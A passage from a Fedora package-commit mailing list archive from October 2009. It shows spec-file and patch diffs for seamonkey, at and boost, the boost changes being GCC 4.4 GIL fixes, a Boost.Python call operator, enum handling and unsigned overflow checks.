@@ -39,7 +39,6 @@ Source100:      find-external-requires
 
 Patch0:         mozilla-jemalloc.patch
 Patch1:         mozilla-191-path.patch
-Patch2:         seamonkey-2.0-hunspell.patch
 
 Buildroot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:  nspr-devel >= %{minimum_build_nspr_version}
@@ -98,7 +97,6 @@ cd %{sources_subdir}
 
 %patch0 -p0 -b .jemalloc
 %patch1 -p0 -b .path
-%patch2 -p2 -b .hunspell
 
 %{__rm} -f .mozconfig
 %{__cp} %{SOURCE10} .mozconfig
@@ -344,6 +342,9 @@ update-desktop-database %{_datadir}/appl
 
 
 %changelog
+* Wed Oct 14 2009 Martin Stransky <stransky at redhat.com> 2.0-4
+- Update to 2.0 RC1
+
 * Wed Sep 23 2009 Martin Stransky <stransky at redhat.com> 2.0-3.beta2
 - Update to 2.0 beta 2
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/seamonkey/devel/sources,v
retrieving revision 1.29
retrieving revision 1.30
diff -u -p -r1.29 -r1.30
--- sources	23 Sep 2009 09:08:48 -0000	1.29
+++ sources	14 Oct 2009 12:19:12 -0000	1.30
@@ -1,2 +1,2 @@
-a058aeadc540a6fd58873ae1e51c23e0  seamonkey-2.0b2.source.tar.bz2
-420414dcd91f96313cec7d327d98daae  seamonkey-langpacks-2.0b2-20090923.tar.bz2
+d174e105939e0fea967b7f0df370cbfb  seamonkey-2.0rc1.source.tar.bz2
+92d033799d61b7ba6f5137706f30f165  seamonkey-langpacks-2.0-20091013.tar.bz2


--- seamonkey-2.0-hunspell.patch DELETED ---



From mmaslano at fedoraproject.org  Wed Oct 14 12:21:18 2009
From: mmaslano at fedoraproject.org (=?utf-8?b?TWFyY2VsYSBNYcWhbMOhxYhvdsOh?=)
Date: Wed, 14 Oct 2009 12:21:18 +0000 (UTC)
Subject: rpms/at/devel at-3.1.10-PIE.patch, 1.1,
	NONE at-3.1.10-different_shell.patch, 1.2,
	NONE at-3.1.10-dont_fork.patch, 1.5,
	NONE at-3.1.10-havepam.patch, 1.1, NONE at-3.1.10-makefile.patch,
	1.2, NONE at-3.1.10-man-timespec-path.patch, 1.1,
	NONE at-3.1.10-man_hyphen.patch, 1.1,
	NONE at-3.1.10-nonposix.patch, 1.1, NONE at-3.1.10-opt_V.patch,
	1.1, NONE at-3.1.10-pam.patch, 1.7, NONE at-3.1.10-pamfix.patch,
	1.2, NONE at-3.1.10-perm.patch, 1.3,
	NONE at-3.1.10-selinux_mail.patch, 1.1,
	NONE at-3.1.10-session.patch, 1.1, NONE at-3.1.10-typo.patch,
	1.1, NONE at-3.1.7-lockfile.patch, 1.1,
	NONE at-3.1.7-sigchld.patch, 1.1, NONE at-3.1.8-perr.patch, 1.2,
	NONE at-3.1.8-t_option.patch, 1.6, NONE
Message-ID: <20091014122119.0213111C00E5@cvs1.fedora.phx.redhat.com>

Author: mmaslano

Update of /cvs/pkgs/rpms/at/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26021

Removed Files:
	at-3.1.10-PIE.patch at-3.1.10-different_shell.patch 
	at-3.1.10-dont_fork.patch at-3.1.10-havepam.patch 
	at-3.1.10-makefile.patch at-3.1.10-man-timespec-path.patch 
	at-3.1.10-man_hyphen.patch at-3.1.10-nonposix.patch 
	at-3.1.10-opt_V.patch at-3.1.10-pam.patch 
	at-3.1.10-pamfix.patch at-3.1.10-perm.patch 
	at-3.1.10-selinux_mail.patch at-3.1.10-session.patch 
	at-3.1.10-typo.patch at-3.1.7-lockfile.patch 
	at-3.1.7-sigchld.patch at-3.1.8-perr.patch 
	at-3.1.8-t_option.patch 
Log Message:
Remove old patches.



--- at-3.1.10-PIE.patch DELETED ---


--- at-3.1.10-different_shell.patch DELETED ---


--- at-3.1.10-dont_fork.patch DELETED ---


--- at-3.1.10-havepam.patch DELETED ---


--- at-3.1.10-makefile.patch DELETED ---


--- at-3.1.10-man-timespec-path.patch DELETED ---


--- at-3.1.10-man_hyphen.patch DELETED ---


--- at-3.1.10-nonposix.patch DELETED ---


--- at-3.1.10-opt_V.patch DELETED ---


--- at-3.1.10-pam.patch DELETED ---


--- at-3.1.10-pamfix.patch DELETED ---


--- at-3.1.10-perm.patch DELETED ---


--- at-3.1.10-selinux_mail.patch DELETED ---


--- at-3.1.10-session.patch DELETED ---


--- at-3.1.10-typo.patch DELETED ---


--- at-3.1.7-lockfile.patch DELETED ---


--- at-3.1.7-sigchld.patch DELETED ---


--- at-3.1.8-perr.patch DELETED ---


--- at-3.1.8-t_option.patch DELETED ---



From pmachata at fedoraproject.org  Wed Oct 14 12:24:34 2009
From: pmachata at fedoraproject.org (Petr Machata)
Date: Wed, 14 Oct 2009 12:24:34 +0000 (UTC)
Subject: rpms/boost/F-12 boost-gil_gcc44.patch, NONE,
	1.1 boost-python_call_operator.patch, NONE,
	1.1 boost-python_enums.patch, NONE, 1.1 boost-python_uint.patch,
	NONE, 1.1 boost.spec, 1.66, 1.67
Message-ID: <20091014122434.B89A711C00E5@cvs1.fedora.phx.redhat.com>

Author: pmachata

Update of /cvs/pkgs/rpms/boost/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31100

Modified Files:
	boost.spec 
Added Files:
	boost-gil_gcc44.patch boost-python_call_operator.patch 
	boost-python_enums.patch boost-python_uint.patch 
Log Message:
- Several fixes to support PySide
- Resolves: #520087
- GCC 4.4 name resolution fixes for GIL
- Resolves: #526834


boost-gil_gcc44.patch:
 boost/gil/bit_aligned_pixel_reference.hpp |    2 +-
 boost/gil/color_base.hpp                  |   12 ++++++------
 boost/gil/color_base_algorithm.hpp        |    4 ++--
 boost/gil/image_view_factory.hpp          |    8 ++++----
 boost/gil/packed_pixel.hpp                |    2 +-
 boost/gil/pixel.hpp                       |    8 ++++----
 boost/gil/planar_pixel_iterator.hpp       |    8 ++++----
 libs/gil/test/pixel.cpp                   |   11 ++++++-----
 8 files changed, 28 insertions(+), 27 deletions(-)

--- NEW FILE boost-gil_gcc44.patch ---
Index: boost/gil/bit_aligned_pixel_reference.hpp
===================================================================
--- boost/gil/bit_aligned_pixel_reference.hpp	(revision 53049)
+++ boost/gil/bit_aligned_pixel_reference.hpp	(working copy)
@@ -145,7 +145,7 @@
 
     // Construct from another compatible pixel type
     bit_aligned_pixel_reference(const bit_aligned_pixel_reference& p) : _bit_range(p._bit_range) {}
-    template <typename BF, typename CR> bit_aligned_pixel_reference(packed_pixel<BF,CR,Layout>& p) : _bit_range(static_cast<data_ptr_t>(&at_c<0>(p)), at_c<0>(p).first_bit()) {
+    template <typename BF, typename CR> bit_aligned_pixel_reference(packed_pixel<BF,CR,Layout>& p) : _bit_range(static_cast<data_ptr_t>(&gil::at_c<0>(p)), gil::at_c<0>(p).first_bit()) {
         check_compatible<packed_pixel<BF,CR,Layout> >();
     }
 
Index: boost/gil/color_base.hpp
===================================================================
--- boost/gil/color_base.hpp	(revision 53049)
+++ boost/gil/color_base.hpp	(working copy)
@@ -155,15 +155,15 @@
     homogeneous_color_base(Element v0, Element v1, Element v2) : _v0(v0), _v1(v1), _v2(v2) {}
 
     template <typename E2, typename L2> homogeneous_color_base(const homogeneous_color_base<E2,L2,3>& c) : 
-        _v0(at_c<mapping_transform<Layout,L2,0>::value>(c)), 
-        _v1(at_c<mapping_transform<Layout,L2,1>::value>(c)), 
-        _v2(at_c<mapping_transform<Layout,L2,2>::value>(c)) {}
+        _v0(gil::at_c<mapping_transform<Layout,L2,0>::value>(c)), 
+        _v1(gil::at_c<mapping_transform<Layout,L2,1>::value>(c)), 
+        _v2(gil::at_c<mapping_transform<Layout,L2,2>::value>(c)) {}
 
     // Support for l-value reference proxy copy construction
     template <typename E2, typename L2> homogeneous_color_base(      homogeneous_color_base<E2,L2,3>& c) : 
-        _v0(at_c<mapping_transform<Layout,L2,0>::value>(c)), 
-        _v1(at_c<mapping_transform<Layout,L2,1>::value>(c)), 
-        _v2(at_c<mapping_transform<Layout,L2,2>::value>(c)) {}
+        _v0(gil::at_c<mapping_transform<Layout,L2,0>::value>(c)), 
+        _v1(gil::at_c<mapping_transform<Layout,L2,1>::value>(c)), 
+        _v2(gil::at_c<mapping_transform<Layout,L2,2>::value>(c)) {}
 
     // Support for planar_pixel_iterator construction and dereferencing
     template <typename P> homogeneous_color_base(P* p,bool) : 
Index: boost/gil/color_base_algorithm.hpp
===================================================================
--- boost/gil/color_base_algorithm.hpp	(revision 53049)
+++ boost/gil/color_base_algorithm.hpp	(working copy)
@@ -101,7 +101,7 @@
 template <typename ColorBase, int K> struct kth_semantic_element_reference_type {
     BOOST_STATIC_CONSTANT(int, semantic_index = (mpl::at_c<typename ColorBase::layout_t::channel_mapping_t,K>::type::value));
     typedef typename kth_element_reference_type<ColorBase,semantic_index>::type type;
-    static type       get(ColorBase& cb) { return at_c<semantic_index>(cb); }
+    static type       get(ColorBase& cb) { return gil::at_c<semantic_index>(cb); }
 };
 
 /// \brief Specifies the return type of the constant semantic_at_c<K>(color_base);
@@ -109,7 +109,7 @@
 template <typename ColorBase, int K> struct kth_semantic_element_const_reference_type {
     BOOST_STATIC_CONSTANT(int, semantic_index = (mpl::at_c<typename ColorBase::layout_t::channel_mapping_t,K>::type::value));
     typedef typename kth_element_const_reference_type<ColorBase,semantic_index>::type type;
-    static type       get(const ColorBase& cb) { return at_c<semantic_index>(cb); }
+    static type       get(const ColorBase& cb) { return gil::at_c<semantic_index>(cb); }
 };
 
 /// \brief A mutable accessor to the K-th semantic element of a color base
Index: boost/gil/image_view_factory.hpp
===================================================================
--- boost/gil/image_view_factory.hpp	(revision 53049)
+++ boost/gil/image_view_factory.hpp	(working copy)
@@ -102,7 +102,7 @@
     BOOST_STATIC_ASSERT((!is_planar<HomogeneousView>::value && view_is_basic<HomogeneousView>::value));
     BOOST_STATIC_ASSERT((boost::is_pointer<typename HomogeneousView::x_iterator>::value));
 
-    return &at_c<0>(view(0,0));
+    return &gil::at_c<0>(view(0,0));
 }
 
 /// \ingroup ImageViewConstructors
@@ -430,7 +430,7 @@
             typedef typename type::xy_locator                             locator_t;
             typedef typename type::x_iterator                            x_iterator_t;
             typedef typename iterator_adaptor_get_base<x_iterator_t>::type x_iterator_base_t;
-            x_iterator_t sit(x_iterator_base_t(&at_c<K>(src(0,0))),src.pixels().pixel_size());
+            x_iterator_t sit(x_iterator_base_t(&gil::at_c<K>(src(0,0))),src.pixels().pixel_size());
             return type(src.dimensions(),locator_t(sit, src.pixels().row_size()));
         }
     };
@@ -444,7 +444,7 @@
         typedef typename view_type<channel_t, gray_layout_t, false, false, view_is_mutable<View>::value>::type type;
         static type make(const View& src) {
             typedef typename type::x_iterator x_iterator_t;
-            return interleaved_view(src.width(),src.height(),(x_iterator_t)&at_c<K>(src(0,0)), src.pixels().row_size());
+            return interleaved_view(src.width(),src.height(),(x_iterator_t)&gil::at_c<K>(src(0,0)), src.pixels().row_size());
         }
     };
 
@@ -494,7 +494,7 @@
         template <typename P> kth_channel_deref_fn(const kth_channel_deref_fn<K,P>&) {}
 
         result_type operator()(argument_type srcP) const { 
-            return result_type(at_c<K>(srcP)); 
+            return result_type(gil::at_c<K>(srcP));
         }
     };
 
Index: boost/gil/packed_pixel.hpp
===================================================================
--- boost/gil/packed_pixel.hpp	(revision 53049)
+++ boost/gil/packed_pixel.hpp	(working copy)
@@ -81,7 +81,7 @@
     } 
     packed_pixel(int chan0, int chan1, int chan2) : _bitfield(0) { 
         BOOST_STATIC_ASSERT((num_channels<packed_pixel>::value==3)); 
-        at_c<0>(*this)=chan0; at_c<1>(*this)=chan1; at_c<2>(*this)=chan2; 
+        gil::at_c<0>(*this)=chan0; gil::at_c<1>(*this)=chan1; gil::at_c<2>(*this)=chan2; 
     } 
     packed_pixel(int chan0, int chan1, int chan2, int chan3) : _bitfield(0) { 
         BOOST_STATIC_ASSERT((num_channels<packed_pixel>::value==4)); 
Index: boost/gil/pixel.hpp
===================================================================
--- boost/gil/pixel.hpp	(revision 53049)
+++ boost/gil/pixel.hpp	(working copy)
@@ -143,11 +143,11 @@
 
 private:
     static void check_gray() {  BOOST_STATIC_ASSERT((is_same<typename Layout::color_space_t, gray_t>::value)); }
-    template <typename Channel> void assign(const Channel& chan, mpl::false_)       { check_gray(); at_c<0>(*this)=chan; }
-    template <typename Channel> bool equal (const Channel& chan, mpl::false_) const { check_gray(); return at_c<0>(*this)==chan; }
+    template <typename Channel> void assign(const Channel& chan, mpl::false_)       { check_gray(); gil::at_c<0>(*this)=chan; }
+    template <typename Channel> bool equal (const Channel& chan, mpl::false_) const { check_gray(); return gil::at_c<0>(*this)==chan; }
 public:
-    pixel&  operator= (channel_t chan)       { check_gray(); at_c<0>(*this)=chan; return *this; }
-    bool    operator==(channel_t chan) const { check_gray(); return at_c<0>(*this)==chan; }
+    pixel&  operator= (channel_t chan)       { check_gray(); gil::at_c<0>(*this)=chan; return *this; }
+    bool    operator==(channel_t chan) const { check_gray(); return gil::at_c<0>(*this)==chan; }
 };
 
 /////////////////////////////
Index: boost/gil/planar_pixel_iterator.hpp
===================================================================
--- boost/gil/planar_pixel_iterator.hpp	(revision 53049)
+++ boost/gil/planar_pixel_iterator.hpp	(working copy)
@@ -109,8 +109,8 @@
     reference operator->()                        const { return **this; }
 
     // PERFORMANCE_CHECK: Remove?
-    bool operator< (const planar_pixel_iterator& ptr)   const { return at_c<0>(*this)< at_c<0>(ptr); }
-    bool operator!=(const planar_pixel_iterator& ptr)   const { return at_c<0>(*this)!=at_c<0>(ptr); }
+    bool operator< (const planar_pixel_iterator& ptr)   const { return gil::at_c<0>(*this)< gil::at_c<0>(ptr); }
+    bool operator!=(const planar_pixel_iterator& ptr)   const { return gil::at_c<0>(*this)!=gil::at_c<0>(ptr); }
 private:
     friend class boost::iterator_core_access;
 
@@ -119,8 +119,8 @@
     void advance(ptrdiff_t d)   { static_transform(*this,*this,std::bind2nd(detail::plus_asymmetric<ChannelPtr,ptrdiff_t>(),d)); }
     reference dereference() const { return this->template deref<reference>(); }
 
-    ptrdiff_t distance_to(const planar_pixel_iterator& it) const { return at_c<0>(it)-at_c<0>(*this); }
-    bool equal(const planar_pixel_iterator& it) const { return at_c<0>(*this)==at_c<0>(it); }
+    ptrdiff_t distance_to(const planar_pixel_iterator& it) const { return gil::at_c<0>(it)-gil::at_c<0>(*this); }
+    bool equal(const planar_pixel_iterator& it) const { return gil::at_c<0>(*this)==gil::at_c<0>(it); }
 };
 
 namespace detail {
Index: libs/gil/test/pixel.cpp
===================================================================
--- libs/gil/test/pixel.cpp	(revision 53049)
+++ libs/gil/test/pixel.cpp	(working copy)
@@ -34,8 +34,9 @@
 // Testing pixel references and values, pixel operations, color conversion
 
 using namespace boost::gil;
-using namespace std;
+using std::swap;
 using namespace boost;
+
 void error_if(bool condition);
 
 struct increment { 
@@ -63,8 +64,8 @@
 
         // test homogeneous algorithms - fill, max, min
         static const int num_chan = num_channels<typename C2::pixel_t>::value;
-        static_fill(C2::_pixel, at_c<0>(C1::_pixel)+1);
-        error_if(at_c<0>(C2::_pixel) != at_c<num_chan-1>(C2::_pixel));
+        static_fill(C2::_pixel, gil::at_c<0>(C1::_pixel)+1);
+        error_if(gil::at_c<0>(C2::_pixel) != gil::at_c<num_chan-1>(C2::_pixel));
 
         C2::_pixel = C1::_pixel;
         error_if(static_max(C2::_pixel) != static_max(C1::_pixel));
@@ -107,7 +108,7 @@
         error_if(C1::_pixel!=C2::_pixel);
 
         static_generate(C2::_pixel, set_to_one());
-        error_if(at_c<0>(C2::_pixel) != 1);
+        error_if(gil::at_c<0>(C2::_pixel) != 1);
 
         // Test swap if both are mutable and if their value type is the same
         // (We know the second one is mutable)
@@ -313,7 +314,7 @@
     bgr8_pixel_t bgr8(rgb8);
     error_if(bgr8[0] == rgb8[0]);
     error_if(dynamic_at_c(bgr8,0) == dynamic_at_c(rgb8,0));
-    error_if(at_c<0>(bgr8) == at_c<0>(rgb8));
+    error_if(gil::at_c<0>(bgr8) == gil::at_c<0>(rgb8));
     error_if(semantic_at_c<0>(bgr8) != semantic_at_c<0>(rgb8));
     error_if(get_color(bgr8,blue_t()) != get_color(rgb8,blue_t()));
 

boost-python_call_operator.patch:
 boost/python/object_core.hpp   |   67 +++++++++++++++++++++++++++++++++++++++++
 libs/python/doc/v2/object.html |   24 ++++++++++++++
 libs/python/test/object.cpp    |    6 +++
 libs/python/test/object.py     |    7 +++-
 4 files changed, 103 insertions(+), 1 deletion(-)

--- NEW FILE boost-python_call_operator.patch ---
Index: /trunk/boost/python/object_core.hpp
===================================================================
--- /trunk/boost/python/object_core.hpp (revision 45918)
+++ /trunk/boost/python/object_core.hpp (revision 47846)
@@ -42,4 +42,10 @@
 
 namespace boost { namespace python { 
+
+namespace detail
+{
+  class kwds_proxy; 
+  class args_proxy; 
+} 
 
 namespace converter
@@ -103,4 +109,9 @@
 # define BOOST_PP_ITERATION_PARAMS_1 (3, (1, BOOST_PYTHON_MAX_ARITY, <boost/python/object_call.hpp>))
 # include BOOST_PP_ITERATE()
+    
+      detail::args_proxy operator* () const; 
+      object operator()(detail::args_proxy const &args) const; 
+      object operator()(detail::args_proxy const &args, 
+                        detail::kwds_proxy const &kwds) const; 
 
       // truth value testing
@@ -417,4 +428,60 @@
 //
 
+namespace detail 
+{
+
+class call_proxy 
+{ 
+public: 
+  call_proxy(object target) : m_target(target) {} 
+  operator object() const { return m_target;} 
+ 
+ private: 
+    object m_target; 
+}; 
+ 
+class kwds_proxy : public call_proxy 
+{ 
+public: 
+  kwds_proxy(object o = object()) : call_proxy(o) {} 
+}; 
+class args_proxy : public call_proxy 
+{ 
+public: 
+  args_proxy(object o) : call_proxy(o) {} 
+  kwds_proxy operator* () const { return kwds_proxy(*this);} 
+}; 
+} 
+ 
+template <typename U> 
+detail::args_proxy api::object_operators<U>::operator* () const 
+{ 
+  object_cref2 x = *static_cast<U const*>(this); 
+  return detail::args_proxy(x); 
+} 
+ 
+template <typename U> 
+object api::object_operators<U>::operator()(detail::args_proxy const &args) const 
+{ 
+  U const& self = *static_cast<U const*>(this); 
+  PyObject *result = PyObject_Call(get_managed_object(self, tag), 
+                                   args.operator object().ptr(), 
+                                   0); 
+  return object(detail::new_reference(result)); 
+ 
+} 
+ 
+template <typename U> 
+object api::object_operators<U>::operator()(detail::args_proxy const &args, 
+                                            detail::kwds_proxy const &kwds) const 
+{ 
+  U const& self = *static_cast<U const*>(this); 
+  PyObject *result = PyObject_Call(get_managed_object(self, tag), 
+                                   args.operator object().ptr(), 
+                                   kwds.operator object().ptr()); 
+  return object(detail::new_reference(result)); 
+ 
+}  
+
 inline object::object()
     : object_base(python::incref(Py_None))
Index: /trunk/libs/python/test/object.cpp
===================================================================
--- /trunk/libs/python/test/object.cpp (revision 45918)
+++ /trunk/libs/python/test/object.cpp (revision 47846)
@@ -187,4 +187,9 @@
     return s.slice(2,-1).slice(1,-1)  == "lo, wor";
 }
+
+object test_call(object c, object args, object kwds) 
+{ 
+    return c(*args, **kwds); 
+} 
 
 bool check_binary_operators()
@@ -378,4 +383,5 @@
     def("test_not_item", test_not_item);
 
+    def("test_call", test_call);
     def("check_binary_operators", check_binary_operators);
     def("check_inplace", check_inplace);
Index: /trunk/libs/python/test/object.py
===================================================================
--- /trunk/libs/python/test/object.py (revision 45918)
+++ /trunk/libs/python/test/object.py (revision 47846)
@@ -135,5 +135,10 @@
         Operators
 
-        
+>>> def print_args(*args, **kwds): 
+...     print args, kwds 
+>>> test_call(print_args, (0, 1, 2, 3), {'a':'A'}) 
+(0, 1, 2, 3) {'a': 'A'}
+
+
 >>> assert check_binary_operators()
 
Index: /trunk/libs/python/doc/v2/object.html
===================================================================
--- /trunk/libs/python/doc/v2/object.html (revision 45918)
+++ /trunk/libs/python/doc/v2/object.html (revision 47846)
@@ -656,4 +656,9 @@
       object operator()(A0 const&amp;, A1 const&amp;,...An const&amp;) const;
 
+      detail::args_proxy operator* () const; 
+      object operator()(detail::args_proxy const &amp;args) const; 
+      object operator()(detail::args_proxy const &amp;args, 
+                        detail::kwds_proxy const &amp;kwds) const; 
+
       // truth value testing
       //
@@ -705,4 +710,23 @@
       a2,...aN)</dt>
     </dl>
+
+<pre>
+object operator()(detail::args_proxy const &amp;args) const; 
+</pre>
+<dl class="function-semantics">
+  <dt><b>Effects:</b>
+  call object with arguments given by the tuple <varname>args</varname></dt>
+</dl>
+<pre>
+object operator()(detail::args_proxy const &amp;args, 
+                  detail::kwds_proxy const &amp;kwds) const; 
+</pre>
+<dl class="function-semantics">
+  <dt><b>Effects:</b>
+  call object with arguments given by the tuple <varname>args</varname>, and named
+  arguments given by the dictionary <varname>kwds</varname></dt>
+</dl>
+
+
 <pre>
 operator bool_type() const;

boost-python_enums.patch:
 src/object/enum.cpp |   28 +++++++++++++++-------------
 test/enum.cpp       |    3 ++-
 test/enum.py        |   20 ++++++++++++++------
 3 files changed, 31 insertions(+), 20 deletions(-)

--- NEW FILE boost-python_enums.patch ---
Index: /trunk/libs/python/test/enum.py
===================================================================
--- /trunk/libs/python/test/enum.py (revision 36256)
+++ /trunk/libs/python/test/enum.py (revision 53660)
@@ -5,6 +5,6 @@
 >>> from enum_ext import *
 
->>> identity(color.red)
-enum_ext.color.red
+>>> identity(color.red) # in case of duplicated enums it always take the last enum
+enum_ext.color.blood
 
 >>> identity(color.green)
@@ -14,6 +14,6 @@
 enum_ext.color.blue
 
->>> identity(color(1))
-enum_ext.color.red
+>>> identity(color(1)) # in case of duplicated enums it always take the last enum
+enum_ext.color.blood
 
 >>> identity(color(2))
@@ -29,5 +29,5 @@
 
 >>> identity(red)
-enum_ext.color.red
+enum_ext.color.blood
 
 >>> identity(green)
@@ -43,8 +43,16 @@
 >>> c = colorized()
 >>> c.x
-enum_ext.color.red
+enum_ext.color.blood
 >>> c.x = green
 >>> c.x
 enum_ext.color.green
+>>> red == blood
+True
+>>> red == green
+False
+>>> hash(red) == hash(blood)
+True
+>>> hash(red) == hash(green)
+False
 '''
 
Index: /trunk/libs/python/test/enum.cpp
===================================================================
--- /trunk/libs/python/test/enum.cpp (revision 24614)
+++ /trunk/libs/python/test/enum.cpp (revision 53660)
@@ -13,5 +13,5 @@
 using namespace boost::python;
 
-enum color { red = 1, green = 2, blue = 4 };
+enum color { red = 1, green = 2, blue = 4, blood = 1 };
 
 #if BOOST_WORKAROUND(__MWERKS__, <= 0x2407)
@@ -35,4 +35,5 @@
         .value("green", green)
         .value("blue", blue)
+        .value("blood", blood)
         .export_values()
         ;
Index: /trunk/libs/python/src/object/enum.cpp
===================================================================
--- /trunk/libs/python/src/object/enum.cpp (revision 41521)
+++ /trunk/libs/python/src/object/enum.cpp (revision 53660)
@@ -15,5 +15,5 @@
 #include <structmember.h>
 
-namespace boost { namespace python { namespace objects { 
+namespace boost { namespace python { namespace objects {
 
 struct enum_object
@@ -44,5 +44,5 @@
             if (name == 0)
                 return 0;
-            
+
             return PyString_FromFormat("%s.%s.%s", mod, self_->ob_type->tp_name, name);
         }
@@ -140,4 +140,5 @@
       d["__slots__"] = tuple();
       d["values"] = dict();
+      d["names"] = dict();
 
       object module_name = module_prefix();
@@ -146,7 +147,7 @@
       if (doc)
          d["__doc__"] = doc;
-      
+
       object result = (object(metatype))(name, make_tuple(base), d);
-      
+
       scope().attr(name) = result;
 
@@ -168,5 +169,5 @@
         = const_cast<converter::registration&>(
             converter::registry::lookup(id));
-            
+
     converters.m_class_object = downcast<PyTypeObject>(this->ptr());
     converter::registry::insert(to_python, id);
@@ -187,21 +188,22 @@
     dict d = extract<dict>(this->attr("values"))();
     d[value] = x;
-    
+
     // Set the name field in the new enum instanec
     enum_object* p = downcast<enum_object>(x.ptr());
     Py_XDECREF(p->name);
     p->name = incref(name.ptr());
+
+    dict names_dict = extract<dict>(this->attr("names"))();
+    names_dict[x.attr("name")] = x;
 }
 
 void enum_base::export_values()
 {
-    dict d = extract<dict>(this->attr("values"))();
-    list values = d.values();
+    dict d = extract<dict>(this->attr("names"))();
+    list items = d.items();
     scope current;
-    
-    for (unsigned i = 0, max = len(values); i < max; ++i)
-    {
-        api::setattr(current, object(values[i].attr("name")), values[i]);
-    }
+
+    for (unsigned i = 0, max = len(items); i < max; ++i)
+        api::setattr(current, items[i][0], items[i][1]);
  }
 

boost-python_uint.patch:
 src/converter/builtin_converters.cpp |   25 ++++++++++++---
 test/test_builtin_converters.py      |   58 +++++++++++++++++++++++++++++------
 2 files changed, 70 insertions(+), 13 deletions(-)

--- NEW FILE boost-python_uint.patch ---
Index: /trunk/libs/python/test/test_builtin_converters.py
===================================================================
--- /trunk/libs/python/test/test_builtin_converters.py (revision 40714)
+++ /trunk/libs/python/test/test_builtin_converters.py (revision 54919)
@@ -4,4 +4,22 @@
 r"""
 >>> from builtin_converters_ext import *
+
+# Use ctypes to get native C type sizes
+>>> from ctypes import sizeof, c_char, c_short, c_int, c_long, c_longlong
+>>> def test_values_signed(t):
+...     base = 2 ** (8 * sizeof(t) - 1)
+...     return [[-base, -1, 1, base - 1], [-base - 1, base]]
+>>> def test_values_unsigned(t):
+...     base = 2 ** (8 * sizeof(t))
+...     return [[1, base - 1], [-1L, -1, base]]
+>>> def should_pass(method, values):
+...     result = map(method, values)
+...     if result != values:
+...         print "Got %s but expected %s" % (result, values)
+>>> def test_overflow(method, values):
+...     for v in values:
+...         try: method(v)
+...         except OverflowError: pass
+...         else: print "OverflowError expected"
 
 # Synthesize idendity functions in case long long not supported
@@ -63,13 +81,35 @@
 
    show that we have range checking. 
- 
->>> try: rewrap_value_unsigned_short(-42)
-... except OverflowError: pass
-... else: print 'expected an OverflowError!'
-
->>> try: rewrap_value_int(sys.maxint * 2)
-... except OverflowError: pass
-... else: print 'expected an OverflowError!'
-
+
+>>> should_pass(rewrap_value_signed_char, test_values_signed(c_char)[0])
+>>> should_pass(rewrap_value_short, test_values_signed(c_short)[0])
+>>> should_pass(rewrap_value_int, test_values_signed(c_int)[0])
+>>> should_pass(rewrap_value_long, test_values_signed(c_long)[0])
+>>> should_pass(rewrap_value_long_long, test_values_signed(c_longlong)[0])
+
+>>> should_pass(rewrap_value_unsigned_char, test_values_unsigned(c_char)[0])
+>>> should_pass(rewrap_value_unsigned_short, test_values_unsigned(c_short)[0])
+>>> should_pass(rewrap_value_unsigned_int, test_values_unsigned(c_int)[0])
+>>> should_pass(rewrap_value_unsigned_long, test_values_unsigned(c_long)[0])
+>>> should_pass(rewrap_value_unsigned_long_long,
+...     test_values_unsigned(c_longlong)[0])
+
+>>> test_overflow(rewrap_value_signed_char, test_values_signed(c_char)[1])
+>>> test_overflow(rewrap_value_short, test_values_signed(c_short)[1])
+>>> test_overflow(rewrap_value_int, test_values_signed(c_int)[1])
+>>> test_overflow(rewrap_value_long, test_values_signed(c_long)[1])
+>>> test_overflow(rewrap_value_long_long, test_values_signed(c_longlong)[1])
+
+>>> test_overflow(rewrap_value_unsigned_char, test_values_unsigned(c_char)[1])
+>>> test_overflow(rewrap_value_unsigned_short, test_values_unsigned(c_short)[1])
+>>> test_overflow(rewrap_value_unsigned_int, test_values_unsigned(c_int)[1])
+>>> test_overflow(rewrap_value_unsigned_long, test_values_unsigned(c_long)[1])
+
+# Exceptionally for PyLong_AsUnsignedLongLong(), a negative value raises
+# TypeError on Python versions prior to 2.7
+>>> for v in test_values_unsigned(c_longlong)[1]:
+...     try: rewrap_value_unsigned_long_long(v)
+...     except (OverflowError, TypeError): pass
+...     else: print "OverflowError or TypeError expected"
 
 >>> assert abs(rewrap_value_float(4.2) - 4.2) < .000001
Index: /trunk/libs/python/src/converter/builtin_converters.cpp
===================================================================
--- /trunk/libs/python/src/converter/builtin_converters.cpp (revision 52299)
+++ /trunk/libs/python/src/converter/builtin_converters.cpp (revision 54919)
@@ -156,8 +156,25 @@
       static T extract(PyObject* intermediate)
       {
-          return numeric_cast<T>(
-              PyLong_Check(intermediate)
-              ? PyLong_AsUnsignedLong(intermediate)
-              : PyInt_AS_LONG(intermediate));
+          if (PyLong_Check(intermediate)) {
+              // PyLong_AsUnsignedLong() checks for negative overflow, so no
+              // need to check it here.
+              unsigned long result = PyLong_AsUnsignedLong(intermediate);
+              if (PyErr_Occurred())
+                  throw_error_already_set();
+              return numeric_cast<T>(result);
+          } else {
+              // None of PyInt_AsUnsigned*() functions check for negative
+              // overflow, so use PyInt_AS_LONG instead and check if number is
+              // negative, issuing the exception appropriately.
+              long result = PyInt_AS_LONG(intermediate);
+              if (PyErr_Occurred())
+                  throw_error_already_set();
+              if (result < 0) {
+                  PyErr_SetString(PyExc_OverflowError, "can't convert negative"
+                                  " value to unsigned");
+                  throw_error_already_set();
+              }
+              return numeric_cast<T>(result);
+          }
       }
   };


Index: boost.spec
===================================================================
RCS file: /cvs/pkgs/rpms/boost/F-12/boost.spec,v
retrieving revision 1.66
retrieving revision 1.67
diff -u -p -r1.66 -r1.67
--- boost.spec	8 Sep 2009 15:02:02 -0000	1.66
+++ boost.spec	14 Oct 2009 12:24:34 -0000	1.67
@@ -1,7 +1,7 @@
 Name: boost
 Summary: The Boost C++ Libraries
 Version: 1.39.0
-Release: 6%{?dist}
+Release: 7%{?dist}
 License: Boost
 URL: http://www.boost.org/
 Group: System Environment/Libraries
@@ -43,6 +43,10 @@ Patch5: boost-bitset.patch
 Patch6: boost-function_template.patch
 Patch7: boost-fs_gcc44.patch
 Patch8: boost-openssl-1.0.patch
+Patch9: boost-gil_gcc44.patch
+Patch10: boost-python_call_operator.patch
+Patch11: boost-python_enums.patch
+Patch12: boost-python_uint.patch
 
 %bcond_with tests
 %bcond_with docs_generated
@@ -227,6 +231,10 @@ sed 's/_FEDORA_SONAME/%{sonamever}/' %{P
 %patch6 -p0
